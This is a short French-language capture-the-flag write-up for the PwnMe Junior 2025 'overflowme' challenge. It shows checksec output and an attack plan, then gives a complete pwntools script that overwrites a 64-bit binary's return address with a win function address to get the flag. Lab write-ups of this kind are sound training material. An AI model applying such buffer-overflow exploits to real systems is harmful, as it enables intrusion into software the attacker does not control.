Skip to main content
  1. WriteUps/
  2. Pwn & Exploitation Binaire/
  3. PwnMe Junior 2025 - Pwn Challenges/

PwnMe Junior 2025 - overflowme WriteUp

·191 words·1 min
Table of Contents

PwnMe Junior 2025 - overflowme WriteUp
#

Description du challenge
#

Le challenge overflowme est un exercice de buffer overflow sur un binaire 64 bits. Le programme attend une entrée utilisateur et contient une vulnérabilité qui permet d’écraser l’adresse de retour.

Analyse du binaire
#

Vérification des protections
#

$ checksec overflowme
[*] '/home/synapse/pwnme-junior-2025/pwn/overflowme/overflowme'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Exploitation
#

Plan d’attaque
#

  1. Envoyer “5” comme première entrée
  2. Overflow du buffer avec un offset de 72 bytes
  3. Écraser l’adresse de retour avec l’adresse de la fonction win (0x401417)

Script d’exploitation
#

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

def main():
    p = remote("127.0.0.1", 1337)
    
    p.sendline(b'5')

    offset = 72  
    payload = b'A' * offset
    payload += p64(0x401417)  
    
    # Envoi du payload
    p.sendline(payload)
    p.interactive()

if __name__ == '__main__':
    main()

Flag
#

PWNME{JUNIOR_OVERFLOW_MASTER}

Conclusion
#

Ce challenge était un exercice classique de buffer overflow. Les points clés étaient :

  • Identification de l’offset correct (72 bytes)
  • Utilisation de l’adresse correcte de la fonction win (0x401417)
  • Configuration correcte de la connexion remote sur le port 1337